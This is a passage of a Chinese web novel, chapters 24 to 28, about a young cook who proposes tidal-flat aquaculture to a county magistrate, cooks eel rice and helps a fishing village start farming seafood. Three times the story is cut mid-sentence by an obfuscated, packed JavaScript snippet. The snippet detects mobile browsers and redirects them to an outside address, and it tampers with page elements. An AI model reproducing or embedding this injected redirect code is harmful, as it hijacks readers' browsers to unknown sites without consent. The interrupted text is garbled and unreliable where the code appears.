裴昱臣瞧着她挥舞软绵绵的粉拳,忍不住轻笑一声,“就你这个花架子,能打得过谁?” 云楚沅眼珠子一转,娇声说道:“我能打得过你!” “呵呵,你如何能打得过我?”裴昱臣饶有兴趣地看着她。 “英雄难过美人关,我可以使一招美人计!” 云楚沅轻轻嘟起小嘴,眨巴着眼睛,对着手指,细声细语道:“难道裴大哥你不会让着我一点嘛~” “呃,阿姐,好恶心……”云楚河露出一言难尽的表情,差点把刚吃下去的饭吐出来。 云楚沅敲了敲他的脑袋:“吃都堵不住你的嘴?”说完又给他盛了满满一碗食物。 云楚清傻乎乎地笑着说:“阿姐可爱。” 裴昱臣薄唇轻抿,脸色涨红,他忍着羞赧道:“姑娘自重。” “姑娘?叫谁姑娘?裴大哥,你不是该唤我楚沅吗?”云楚沅表情委屈地说道,她的眼神像是在看一个负心汉。 “咳,楚沅,你饶了我吧。”裴昱臣呼吸变得急促,往日里清朗的声音变得沙哑。 云楚沅见好就收:“好啦,开个玩笑而已嘛。” 25. 出谋划策 残阳悬于西隅天际,火红的霞光宛若华丽的绮罗,晕染出一幅波澜壮阔、风光旖旎的绝美画卷。 不知不觉,天色暗了下来,屋檐上挂上照明的灯笼,火锅也吃得差不多了。 云楚沅打了个饱嗝,心满意足地摸了摸小肚子,“今日这顿海鲜火锅吃得真过瘾!” 裴昱臣瞧着她不拘小节的样子,笑着点头:“确实不错。” 云楚沅起身开始收拾桌子,两个孩子也帮忙整理碗筷,虽然吃得有点撑,但心情很愉悦。 “楚沅,这些事叫下人去做吧。”说罢,裴昱臣将院外候着的小厮叫了进来。 云楚沅放下碗筷,有人帮忙干活确实爽,也就是她没被人伺候习惯,要不然她也得被养成废物。 使唤下人干活她心安理得,毕竟他们都拿月钱,可被人伺候着吃饭和穿衣她永远适应不了。 上回瞧见青竹给裴昱臣布菜她还小声嘀咕了呢,有手有脚的,这点小事就不用麻烦别人了吧,想必被他给听了去,自那以后就再没见过裴昱臣用膳时有人站在旁边。 “我不跟他们抢活干,我只是从来没有被人服侍过,方才是下意识的举动。”云楚沅尴尬地摸了摸后脑勺,她又不是什么勤快的人,怎么可能主动揽活。 “你做膳食辛苦了,歇一歇吧。”裴昱臣叫青竹把茶具端过来,他打算亲自沏一壶好茶。 净手后,裴昱臣从檀木盒中取出一包珍藏的龙井茶,其产自江南一带,外形扁平光滑,色泽嫩绿,香气清新。 “哇,好香呀!”云楚沅拿起一包茶叶轻轻置于鼻端嗅了嗅,茶香萦绕,久久不散。 随后,裴昱臣伸出修长的手指,轻轻拈起一把茶匙,从精致的茶叶罐中舀出一小撮茶叶,倒入青瓷茶壶。 他提起的手边的玉壶,倾斜壶嘴,清澈的泉水如同潺潺溪流一般,淅淅沥沥地落入茶壶中,“哗啦啦”发出清脆悦耳的响声,似是奏响了一曲动听的乐章。 壶中的水渐渐没过茶叶,裴昱臣眼神专注而深邃,衣诀飘飘,姿态优雅。 云楚沅坐在一旁托腮欣赏,注视着男子的一举一动,她的嘴角噙着一抹淡淡的笑意。 啧啧啧,这寻常的沏茶动作怎么由他做出来,就如此赏心悦目呢。 待水注至八分满,裴昱臣合上壶盖,将其置于小炉子的炭火之上,噼啪作响的炭火,照亮了他俊朗的面容,泛起一层柔和的光晕。 裴昱臣轻轻扇动着扇子,控制着火候,煮出茶叶的香气。片刻后,他提起茶壶,在两只精巧的茶杯中依次斟茶。 之所以只倒两杯,盖因云楚河和云楚清喝不惯茶水,这上好的茶叶只能由他们两人品赏了。 男子的动作如行云流水,一气呵成,举手投足间尽显优雅与从容,让人不由自主地沉醉在这茶香四溢的氛围中。 琥珀色的茶汤如丝线般缓缓流淌,袅袅热气升起,茶香弥漫在整座院子里。 “云姑娘,你先请。” 裴昱臣伸出右手将茶杯轻轻推向云楚沅,用左手挡住右边的衣袖,避免被茶水打湿。 目光交汇间,裴昱臣轻笑着颔首示意,云楚沅微微晃神,双手捧起茶杯,凑近鼻尖,轻嗅那股独特的茶香,眉眼间露出陶醉的神色。 朱唇轻启,抿了一口香茗,云楚沅闭上双目,摇头晃脑,似是在品味茶水的醇香,又似是在回味男子的风情。 “味道真好……” 灯笼的烛光洒在她细腻的脸庞,映出绒毛,也照亮了她眼底的波光盈盈。 裴昱臣没听出她的言外之意,他端起另一杯茶,微微抿上一口,龙井茶的回甘悠长,仿佛山间悠远绵长的钟声,令人心旷神怡。 月下品茶,气氛正好,两人闲聊了起来。 “鹬蚌相争,坐收渔翁之利,你对付何艳艳的法子确实不错。可这不是长久之计,她早晚会看出端倪,有徐家在一日,你便要防范她一天。只有徐家倒台,才能永绝后患。” 提起徐家,裴昱臣的案上已经积压了不少百姓们递交的状纸,多是状告徐家铺子弄虚作假,卖掺了水的发霉粮食和混杂了灰的盐,更甚者还有强抢民女、侵占粮田的罪名。 他近日在搜集证据,待证据确凿便将他们缉拿归案。 云楚沅从他的话中听出了徐家将要大难临头的意思,喜形于色,“县令大人这是要为民除害了?” “正有此意。”裴昱臣泰然自若,仿佛他脱口而出的只是小事一桩。 “太好了,这群毒瘤早该铲除了!”云楚沅替临海县的百姓感到高兴,没了横行霸道的奸商,大家的日子肯定能好过不少。 裴昱臣却不像她那么乐观,“天下人熙熙攘攘,皆为利来利往。怕只怕没了徐家,以后还会出现其他商贾为祸百姓。” 县令大人的担忧不无道理,以云楚沅浅薄的认知来看,要想使临海县这个小地方经济腾飞,肯定要靠官府重视农业、手工艺和商业的发展,并且还要提出一些优惠政策来推动贸易发展。 云楚沅的心里隐隐冒出了一个大胆的念头,既然裴县令想要一个见利思义、兼济天下的良商,那为什么不能是她呢? “大人,你觉得我如何?”云楚沅认真地看向端坐在对面的人。 裴昱臣饮茶的动作一顿,意味深长地与她对视一眼,“姑娘的意思是?” “我想毛遂自荐,达则兼济天下,我愿助大人一臂之力,拯救黎民百姓。”云楚沅站起身,神色严肃地拱手行礼,大言不惭地说出一番惊世骇俗的话语。 裴昱臣身形微颤,杯中的茶水溅到手背上也无暇顾及,他呆愣愣地看着云楚沅,像是被她震慑到了一般。 此时此刻,她眼中闪烁着的光芒,比天上的繁星更加耀眼夺目;她那纤细娇柔的身躯,仿佛能冲破世俗的枷锁;她那神采飞扬的眉眼,流露出满满自信和志在必得。 这名女子果然与众不同,她有着不输于男子的雄心壮志, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950571|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她还有着不输于官场老手的八面玲珑,裴昱臣丝毫不怀疑她有这个能力,所以他愿意给她一个机会。 “云姑娘,愿闻其详。” “士农工商,商在最末,经商求利是百姓皆鄙夷之事。依民女拙见,因民之所利而利谓大利,所求之利是为百姓和地方所求,经营所得是用于地方建设和发展的。百姓的日子好起来才有银钱纳税,官府有了税收才能反哺百姓。”云楚沅滔滔不绝地发表自己的看法。 “你所言有理,可该如何求利呢?” 云楚沅娓娓道来:“不若从两个方面来,内和外。于内,可以发展我们临海之地的特色,于外,大人可以用减税等优惠政策来招商。” 想了想,云楚沅拿自己来举例,“我想在临海县开设海味坊,专门制作海鲜相关的酱料和干货销售至全国各地,而想要做大规模的生意,就需要培养一大批养殖户在滩涂养殖海鲜。在这些过程中,雇佣百姓能够增加他们的收入。” 裴昱臣问道:“何为滩涂养殖?” “就是在沿海的泥滩和沙滩人工养殖贝、鱼、虾蟹、海藻等海产品,用网栏和竹木桩固定好养殖区,投放苗种,用海水养殖成本很低。”云楚沅向他解释,养殖业可是她的老本行,她经验丰富。 “这,本朝还从未有过划分海域的先例,海水区域归属于国家,要想像田地一样利用起来,怎么说也该交税的,不过我们临海县可以先做试验,我会向上面递折子的。” “大人英明,这件事办成了,不光临海县创收后能交上朝廷的税,这可算你的政绩呀!说不定你就能升官了!” 他同意尝试大规模的滩涂养殖,让云楚沅十分高兴,这可是能赚钱的大项目呀,到时候临海县必定会一飞冲天。 裴昱臣微微一笑:“也算你的大功一件。” 比起功劳,云楚沅更在乎银子,她已经开始幻想以后成为养殖大户和海味商,会是何等风光的模样了。 裴昱臣接着发问:“那招商该如何做呢?” 他若有所思地抚摸着下巴,云楚沅的口中总会冒出来一些他闻所未闻的新鲜词,裴昱臣还从未听说过“招商”这个词呢,听字面意思,像是指招揽商人。 云楚沅:“我们这片贫瘠的土地实则是等待发掘的肥沃之地,吸引外来的商人是可行之道,比如茶商、盐商。要想富先修路,官府没有钱修路,大人你可以和外来的商人合作,他们出钱修路,你可以为他们减税或者给予他们几年土地使用权。这连接临内外两地的桥梁,必然是一条康庄大道。” 裴昱臣越听双眼越亮,这个招商的法子相当于空手套白狼,他不用出一文钱,只用给予商人一些承诺,便可以让他们为临海县修路,交通方便后,临海县也能发展起来了。 “不过,外地商人会来我们这么偏的地方吗?” 云楚沅笑着说:“待我的海鲜特产卖到全国各地,肯定会吸引许多人,到时候,商人们会趋之若鹜。” 26. 鳗鱼饭 “听说了吗,徐家有个通房小产了,听说是被一个不得宠的妾室害的!” “哦?什么时候的事?” “昨儿个酉时日落,我就住在徐府附近,他们家闹腾的声音可大了,请了好几位大夫去看诊,孩子还是没保住。” “这高门大户腌臜事就是多,女子争风吃醋起来手段狠毒着呢。” “可不是嘛,这还是徐少爷的头一个孩子,还不到两个月就没了,徐老爷和徐夫人震怒,要把那个妾室发卖掉。” “最毒妇人心呐,这样的妾室确实留不得。不过徐少爷年纪不小了吧,怎么还没有孩子。” “徐少爷今年二十又二,未曾娶妻,人家可看不上临海县的女子,听说徐老爷想让他这个独子娶江南富商宋家的女儿。” “痴人说梦吧,江南富庶人家的女子能嫁来我们这小县城?” “谁说不是呢。” 云楚沅和裴昱臣坐在马车里,听着外面街道上传来的议论声,相互对视一眼。 “他们说的该不会就是我那表姐吧。”云楚沅白皙精致的面容露出惊愕的表情,如同被投入一颗小石子的湖面,泛起涟漪,那双睁大的杏眸中满是藏不住的讶异。 相比之下,对面坐着的裴昱臣更加淡定,他面色沉静,平静无波的眼眸中没有丝毫惊诧,“嗯,听他们所言,你的计谋很有可能已经奏效了。” 云楚沅的长睫微微颤动,两道柳眉轻蹙,眼神闪过一丝慌乱,似有千斤重担压在心头。 她原本红润的嘴唇失去了血色,变得苍白,嘴角带着一抹若有若无的苦涩,她下意识地用力咬住下唇,声音发颤,“这……怎会闹出人命来……” 事情的发展远远超出了云楚沅的预期,她本来是想转移矛盾,让何艳艳和孙家人斗起来,从而无暇顾及她,可没想到她们宅斗起来下手这么狠啊,这真是小说照进现实了。 裴昱臣注意到对面的女子坐立难安、不知所措,大抵能猜到她的心思,“不必自责,出了这档子事归根结底还是因为何艳艳的不择手段,就算没有你添油加醋,等到那个通房丫鬟显怀,她为了自己的利益也会动手的。” “你说的有道理,就是我的心里不太好受,早知如此,我就换个方式对付何艳艳了。”云楚沅丧气地低下头,不易察觉的颤抖从她的肩膀处蔓延开,仿佛整个身体在无声诉说着难言的纠结。 “莫要伤怀,世间诸事,皆有定数。”裴昱臣从袖子里取出一条帕子,缓缓抬手,轻轻拭去佳人眼角那滴欲落未落的泪珠。 云楚沅抬起头怔愣地看着他,心头微微一颤,他的指尖触碰到了她的肌肤,擦拭的动作极为轻柔,像是生怕稍一用力便弄疼了她似的,她低落的情绪被他温柔的动作慢慢抚平。 裴昱臣的嘴角泛起一抹淡淡的笑意,温和的眼神中蕴含着安慰,“你素来聪慧坚毅,怎会不明白这个道理呢?” 啊……她被小书生撩到了。 能让把男女大防挂在嘴边的男子主动接触,她云楚沅何德何能啊! 你还是那个面对女子眼神闪躲、举止笨拙,还会脸红的小古板吗! 这么一通胡思乱想下来,云楚沅的情绪渐渐平稳了下来,后知后觉感到有些羞耻,她竟然当着男人的面哭了,真是有损形象。 “哼,我只是迷了眼!你干嘛趁机占我便宜。”云楚沅一把将他手中的素帕拽进了手里,恼羞成怒地指责裴昱臣。 无奈的笑意从眼底泛起,裴昱臣双手交叠,身体前倾,深深一揖,“姑娘说什么就是什么,小生任打任骂绝不还手。” 云楚沅破涕为笑:“油嘴滑舌!” —— 时隔多日,云楚沅再次回到了小渔村,村民们一看到她纷纷热络地迎了上来,再瞧见她身后跟着的男子,又停下了步伐。 “沅丫头,你这是从哪找来的白面书生,是准备叫他入赘到你们家做上门女婿吗?”有个八卦的婶子揶揄地打量着裴昱臣。 接着便有其他人出声附和:“嘿,还别说,这两人站在一起还挺般配。” “云丫头,摆酒席的时候可别忘了请我们喝杯喜酒呀,哈哈哈。”不少妇人打趣着他们两人。 裴昱臣的脸颊爬上一丝红晕,“诸位误会了,我和云姑娘不是那样的关系。”沙哑的声音和飘忽不定的眼神,将他的尴尬暴露无遗。 人群中,有汉子认出了裴昱臣,他不敢置信地揉了揉双眼,惊声道:“这……这不是裴县令吗?草民见过县令大人!” “噗通”一声,是双膝跪地的声音,周围瞬间鸦雀无声,落针可闻。 村民们像是被雷劈中了一般,呆呆地愣在原地,眼睛瞪的老大,尤其是先前调侃裴昱臣的几位大娘,嘴巴张得足以塞进一个鸡蛋。 “裴大人,民妇有眼疾!还望大人饶过我呀!”一位机灵的大娘率先反应过来,跪倒在地上,两只手高举过头顶,随着磕头的动作拍向地面。 慢半拍的其他村民也跟着下跪,请求县令大人的宽恕。 “诸位快快请起,不是什么大事,我不会怪罪你们的。”裴昱臣赶紧躬身将他们一一扶起。 此处的动静吸引了小渔村大多数人的注意,早就有人偷溜去村长家通风报信了。 “县令大人到访,草民有失远迎……”气喘吁吁的声音从远方传来,村长从人堆里挤了进来,“大人,草民是小渔村的村长,余满生。不知大人前来所为何事?不妨去草民家中详谈。” 裴昱臣一边跟在村长的身后走,一边说出了自己的来意,“余村长,我打算选你们小渔村做实验点,进行滩涂养殖,到时候会在海边圈出一块范围,在海水里养殖鱼虾蟹贝。若此事能办成,对渔民们也有极大的好处,以后你们就不必冒着风险出海打渔了,人在家中便能收鱼卖钱。” 虽然村民们不懂滩涂养殖是什么意思,可裴昱臣话中说的坐在家中赚钱,可谓是击中人心。 “此话当真?裴县令你莫不是在诓我吧,天底下还有这样的好事?”余村长十分激动。 “你们渔民难道就没有自己试过养鱼吗?” 余村长说道:“怎么没有,养过啊,鱼在水缸里根本活不长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950572|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我们村里有养鱼经验的也就云丫头了,她那鱼塘里的鱼虾活蹦乱跳的,长得还格外大。” 云楚沅心想,海鱼养在淡水里怎么可能活得长,而且养鱼还和水质息息相关,需要严格控制温度、盐度,但云楚沅不一样,金手指给她带来了极大的便利,她养殖海鲜可以说事半功倍。 裴昱臣高挺的鼻梁下,薄唇带着一丝浅笑,“余村长,实不相瞒,养殖这个主意就是楚沅提出来的。” 余村长惊讶道:“云丫头还真有本事,不光厨艺好,连养鱼的门道都懂啊。” 云楚沅随口找了个理由:“我是从一本古书上学来的。” 旁人都接受了这个说法,并未刨根问底。 一行人来到村长家门口,其他村民被拦在了门外,只有裴昱臣和云楚沅进去了。 余村长把裴昱臣留在家里,肯定要请吃饭的,正好云楚沅也在,便让她也做一道拿手好菜。 村长家的水缸里存放着不少新鲜的鱼,云楚沅捞出其中一条细长的鱼,那是一条稀有的鳗鱼,肉质肥美且营养价值高,她打算用这珍贵的食材做鳗鱼饭。 处理好的鳗鱼先进行预先烤制,再用酱油、味淋和糖调出鳗鱼酱后,把酱料刷在鳗鱼上继续烤,直至其表面金黄、肉质变软。 煮好的米饭盛入碗中压实,烤好的鳗鱼切块铺在上面,再淋上一些酱料,最后点缀上白芝麻和葱花。 瓷碗中,粒粒分明的米饭如雪一般洁白莹润,金黄色的烤鳗鱼蜷曲其上,琥珀色的浓稠酱汁泛着诱人的油光。 端上桌后,甜咸的酱香裹挟着鳗鱼的油脂香扑面而来,勾得众人十指大动。 “云姑娘,辛苦你了,坐下一起吃吧。” 桌边只坐了村长和裴昱臣两人,村长夫人和他的儿子儿媳都待在厨房里,生怕打扰他们谈正事。 本来云楚沅也想去厨房吃的,但裴县令都发话了,她也不扭捏,直接坐下来和他们一起吃了。 鳗鱼的肉质紧实却不失弹性,酱汁黏连在一起,用筷子一蘸甚至能拉出细丝,而米饭吸收了浓郁的酱汁,吃起来既有嚼劲,又带着鲜甜。 裴昱臣拿起筷子轻轻一戳,鳗鱼便被扯开一道裂口,酱汁顺着肉的纹理滑落,渗进米饭中,在雪白的饭面上晕开一圈深色的涟漪。 云楚沅夹起一块沾满酱料的鳗鱼肉,裹着米饭送入口中,这鳗鱼表皮微脆,内里软糯,油脂香在唇齿间慢慢化开,吸满酱料的米饭仍保留着弹牙感,咀嚼间,米香与咸甜在她的舌尖缠绵。 “入口即化,鲜嫩多汁,这道鳗鱼饭实乃上品。”裴昱臣享受着这场味蕾的盛宴,毫不夸张地说,吃完这个,其他饭都显得索然无味。 余村长端起碗闻了闻,嗯,香!吃了一口之后,狂点头,“天哪,这鳗鱼烤的外焦里嫩,这酱汁甜中带咸,一口鳗鱼一口饭,两者简直是完美的搭配!我感觉我还能再吃三碗!” “哈哈,哪有那么夸张。”云楚沅笑着说。 余村长三两口吃完了鳗鱼,意犹未尽道:“这剩下的酱汁不能浪费,拌饭吃正好!” 27. 滩涂养殖 晚膳过后,余村长带着裴昱臣和云楚沅去小渔村临海的地方巡查。 他们穿着防滑耐磨的皮靴子,一脚深一脚浅地踩在滩涂淤泥中,松软的泥沙很容易让人陷进去,每走一步都要小心谨慎,留下的脚印很快便被涌上来的海水慢慢抚平。 规划好的养殖区域靠近海边,这片地方的海水涨落有序,水质清澈、水流适中、饵料丰富,是绝佳的养殖场地。 裴昱臣和村长商量划分海域时,云楚沅掏出了全部身家承包了一大片海域,在她的怂恿下,裴昱臣也答应拿出所有积蓄投资养殖。 “我把将来娶妻用的聘礼都搭进去了,你可不要辜负我的期望。” 云楚沅拍着胸脯,信誓旦旦地做出保证:“大人,我办事,你放心!” 余村长不像他们两人似的破釜沉舟,他犹豫片刻,拿出十两银子决定支持一下县令大人的政策,后续收到消息的村民们也持观望态度。 倒是和云楚沅走得近的人,比如于汤和钱婶,甚至还有钟兰花,都对她盲目相信,他们认为云楚沅的鱼塘都能搞得有声有色的,扩大规模养殖肯定也不在话下。 滩涂养殖,讲究天时地利,滩涂富含多种矿物质,天然能为贝类和蟹类提供栖息的温床,为其生长提供充足的养分,例如常见的蛏子、蛤蜊等贝类,对环境适应能力强,生长周期还短,回报率极高。 除此之外,云楚沅还准备扦竿养蛎,牡蛎是制作蚝油的重要原材料,她的食肆离不开这味调料,后续她还打算将蚝油作为海味坊的重要产品,推广至各地。 翌日,云楚沅和裴昱臣回到临海县后,分别去安排后续要处理的事,他们接下来几日要专心在小渔村搞养殖的事,实在是分身乏术,只能将工作托付给信任的人。 裴昱臣将手头上的案子交接给陈县丞,由他暂管衙门里的事,而云楚沅可以将云记食肆的账目交给钱春香,可她一走,食肆就没人掌勺了,它必须找个新厨子才行。 和她相熟的朱师傅显然就是那个最佳人选。 “什么!你要我去云记食肆掌勺?”被云楚沅找上门的朱师傅一脸震惊。 云楚沅诚恳地说道:“朱师傅,我可以给你两倍的月钱。” 朱师傅面带犹豫:“我是怕砸了你的招牌。” 他的手艺又不是顶顶好的那种,要不然他就去湘香馆当厨子了,而不是在衙门做大锅菜。 “朱师傅,你现在做的菜味道比以前好上不少,衙役们都夸你呢,你每月就领几两银子,难道不想多赚一些吗?你去云记赚的绝对不比湘香馆的庖厨的少,我们云记的风评也已经远超湘香馆了。” 见朱师傅表情有些心动,云楚沅晓之以理,动之以情,“朱师傅,你要是觉得县衙这边不好交差,我去和县令大人说,膳房那么多伙夫还做不了伙食吗?而且我和裴县令是有要事要做,这可关系到临海县百姓的福祉,你帮了我就等于变相帮了裴县令和整个临海县。” 这高帽子一扣下去,朱师傅已经飘飘然了,他还有什么理由拒绝呢? 云楚沅和裴昱臣报备过以后,就带着朱师傅来到了云记食肆,她准备将菜单上的所有菜品为他展示一遍。 在此之前,他们需要先签下雇佣契约,上面的内容是云楚沅在雇佣期间无偿提供配方,但对方不能泄露出去,还要保证能在云记食肆干满十年,这份长期合同对双方都能有个保障。 朱师傅悟性不错,再加上县衙膳房用的调料和食肆里是同款,云楚沅教起他来也不费事,朱师傅很快就掌握了其中的小技巧。 —— 两日后,云楚沅和裴昱臣马不停蹄地赶回小渔村。 正逢搭建养殖设施的关键时期,小渔村的大多数村民都来帮忙了,其中十几人响应县令的号召,也包下了几亩海域,加入到了这场轰轰烈烈的养殖大业中。 村民们从山上砍下一根根粗壮的竹竿,搬运到海边,齐心协力将竹竿插入滩涂的淤泥中。 每根竹竿相隔数米,排列成阵,稳稳矗立的竹竿如同忠诚的士兵一般,守护着这片即将被开发的土地。 竹竿与竹竿之间用绳索捆绑起来,连成整齐划一的网格状框架。 在捆绑绳索的过程中,云楚沅仔细叮嘱:“各位叔伯,每一个结都必须打牢固,这些绳索要承受海水日夜的冲刷,保证咱们养殖区的稳固,容不得半点马虎!” “云丫头,你就放心吧,我会挨个检查的。”余村长尽心尽力地配合她。 框架成型后,云楚沅又指挥着众人开始布置养殖笼,这次裴昱臣也被拉过来帮忙了。 “裴大哥,这养殖区也有你的一份,你可别偷懒。”云楚沅亦步亦趋地跟在县令大人的身后,亲自监督他干活。 “遵命,监工大人。”裴昱臣的嘴角不自觉地上扬。 令人啼笑皆非的对话引来村民们的调侃。 “哟,云丫头也是出息了,能压县令大人一头。” “哈哈哈,不愧是咱们小渔村的姑娘,就是有魄力!” “裴大人将来成亲后,肯定是个惧内的。” 裴昱臣充耳不闻,一心一意完成云楚沅交代的任务,他小心翼翼地将养殖笼逐个挂在竹竿框架上,调整好位置和深度,使其既能够保证海水流通,又能防止海鲜逃脱。 较浅的位置阳光充足,适合一些藻类和贝类的生长;较深的海域,用来养殖鱼虾、海参等。 下一步便是进行播苗,云楚沅带人回到云家,将装在木桶里早已准备好的各种海鲜苗提到海边,这些海鲜苗是她利用金手指快速催生出来的,全都是好苗种。 她将幼贝均匀撒在滩涂上,它们迅速钻入泥中,在这里开启了安居乐业的生活。牡蛎苗附着的贝壳用绳索串联成串,吊养于筏架上。 云楚沅为养殖户们讲解日常管理的注意事项:“以后,你们要时刻注意潮汐的变化。涨潮时要确保水流畅通,让贝类能够充分摄食浮游;退潮后检查有无贝类从泥中露出来,要及时将它们掩埋,免其遭烈日暴晒或被天敌捕食。” 而后挖建的蟹塘模拟了海洋里的自然环境,浅水区供螃蟹栖息和觅食,深水区让它们躲避危险。 往蟹塘中投放蟹苗后,投喂小鱼小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950573|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虾等天然饵料,村民们看着小蟹们争先恐后进食,黝黑的脸庞上洋溢着笑容,他们仿佛预见了将来的大丰收。 划分的养鱼区域用网围了起来,投放的鱼苗有很多种,鲈鱼苗、黄花鱼苗、鳗鱼苗、鳕鱼苗、带鱼苗、石斑鱼苗等等。 看着那些小小的鱼苗在水中欢快地游动,云楚沅的脸上露出了大大的笑容,她已经在畅想它们长大后的肥美。 海带和紫菜等藻类,固定在木架和养殖网上,它们能吸附海水养分,在有足够的光照和适宜的温度下生长,不仅为养殖户增加一笔收入,还能净化周围的海域环境。 “咦,云丫头,这些虾怎么不太一样?”余村长看见云楚沅往虾塘倒的虾格外不同,遂出声询问。 云楚沅:“这些虾经过了特殊处理,我用烧红的铁镊子剪去母虾的一只眼,这样能让它们产量翻倍。” 母虾眼柄处会分泌抑制激素,去除单眼能解除抑制作用,而留下一只眼可降低感染风险并且维持虾的活性。 村民们不懂这其中的原因,云楚沅只好又用了同样的借口,从书上看来的,有人问是什么书,她便回答是他爹的书,已经烧给他了。 如此,便不会有人继续追问了,难不成他们还能去找死人要答案吗? 大家一致认为是云老爹生前特意寻来的书籍,毕竟他那时就准备承包村里的鱼塘,必定是掌握了丰富的养殖知识。 —— 清晨,当第一缕阳光洒在海边,潮水渐渐退去,露出一片泥泞而又肥沃的滩涂。 养殖户们手持工具,踏着泥沙而来,开启一天忙碌而充实的劳作,他们的身影在晨光中被拉长。 余满生和儿子余小渔正蹲在自家养殖的滩涂田埂上,手里拿着铲子和小网兜,检查着贝类。 余小渔捞起几个肥美的蛤蜊,乐呵呵道:“哎,爹,你看今儿这收成,是不是比前些天又好了?” 余满生笑眯了眼,手里的活儿不停,“嗯,是不错,瞧这些蛤蜊,一个个长得又大又圆,跟小元宝似的。” 余小渔得意道:“还好你听了我的话,几个月前跟着云家妹子搞养殖后又多承包了几亩海域,如今咱们家可是被人人艳羡。” 余满生点头表示赞同:“是啊,村子里那些见到第一批海鲜大卖后再来搞养殖的人,肠子都悔青了。” 余小渔说道:“不过这每日早出晚归的,也是真够辛苦的。” 余满生拍拍余小渔的肩膀,安慰道:“辛苦是辛苦点,可比咱们以前出海捕捞强多了,危险不说,捞到啥都得凭运气。” 余小渔感慨地望向远方:“是啊,这样的好日子,以前哪敢想啊……” 父子两人相视一笑,继续忙碌起来,远处海鸟飞过,留下一串串欢快的叫声,与这温馨的对话交织在一起,构成了滩涂上动人的风景。 夕阳西下,余晖染红海面,养殖户们纷纷扛着工具归家,脸上不见疲惫,而是带着满足与憧憬。 身后那片滩涂承载着无数希望。 滩涂养殖,维持着沿海百姓生计,将持续绽放蓬勃的生机。 28. 全鱼宴 转眼入夏,小渔村的养殖业如火如荼地进行着,村民们自打尝到收获的甜头后,便很少再出海捕捞。 海上风浪大,以前渔民们要冒着巨大的生命危险出海捕鱼,养家糊口,有时遇上巨浪、浓雾、暴雨、台风等恶劣天气,会导致船只受损以及人员伤亡。 这是一门高难度高风险的营生,就连有着几十年捕鱼经验的老手都不敢保证每一次都能平安归来。 在这种情况下,云楚沅的提议给沿海地区的百姓带来了莫大的惊喜,一时间,她在小渔村的地位水涨船高,人人见了她都要夸上两句。 “哎哟,咱们小渔村的大恩人出来啦?云妹子,你提着的这两个木桶挺沉吧,来,嫂子帮你拿!” 云楚沅刚出家门就遇上了笑容满面的林秀秀,她不由分说地一把抢过云楚沅手里的木桶,亲亲热热的和她并肩一起走。 林秀秀如今对云楚沅的态度可谓是一百八十度大转变。 以前云家三姐弟孤苦伶仃,一副破落户的样子,林秀秀哪里瞧得上,自家婆婆和小姑子云家人交好,她没少在背后笑话她们。 林秀秀此人最大的优点就是厚脸皮,她看见云楚沅一日比一日能耐,甚至带领全村人搞养殖、赚大钱,上赶着巴结都来不及,怎么可能再去说风凉话呢。 云楚沅瞧着林秀秀这副谄媚样,她秀眉一挑,嘴角微勾,小手张开五指,故作惊讶地捂住嘴,表情夸张道:“钱家嫂子,你这是什么话,我哪里担得起大恩人这个名头,你也太抬举我了。” “我说的都是实话,你搞出来的养殖区可是能养活咱们全村人呢,这是多大的恩德呀,我对你是佩服的不行,大妹子你真乃女子楷模。”林秀秀眼也不眨地吹捧云楚沅,仿佛前无古人后无来者。 云楚沅不由觉得好笑,有钱能使鬼推磨,她这个带人赚钱的财神岂不是要被供起来了。 “嫂子,你之前可不是这样的。”云楚沅揶揄地看向林秀秀。 林秀秀讨好地笑着:“楚沅啊,嫂子过去脑子不太好使,嘴也笨,要是有什么话得罪你了,你可不要往心里去啊。” 她之所以如此低声下气,是因为钱家现在的收入全指望云楚沅。 钱婶和钱春香在云记食肆干活计,钱叔有痛风,一到下雨阴天双腿便疼痛难忍,他不再出海,带着儿子一起养鱼,反倒赚的比之前多。 全家只有林秀秀无所事事,整日带孩子做饭,她如今也没有底气在家里指桑骂槐,倒是安分了不少。 “嫂子,我不会和你计较的,毕竟你大字都不识几个,说话不过脑子也是难免的。”云楚沅眼睛眯成弯月牙,脸上的笑容甜美纯真,两个酒窝若隐若现,一副傻白甜的样子。 可她说出口的话却句句扎心,“对了,嫂子,你有空得多向春香姐请教请教,她现在不仅会打算盘,还能写好几个大字呢。” 林秀秀的脸立马垮了下来,她面带假笑,咬牙切齿道:“一定,一定。” 嘴上应承着,可林秀秀的心里很不爽,任打任骂的小姑子摇身一变,成了能赚钱养家的女子,已经不是她能说嘴的了。 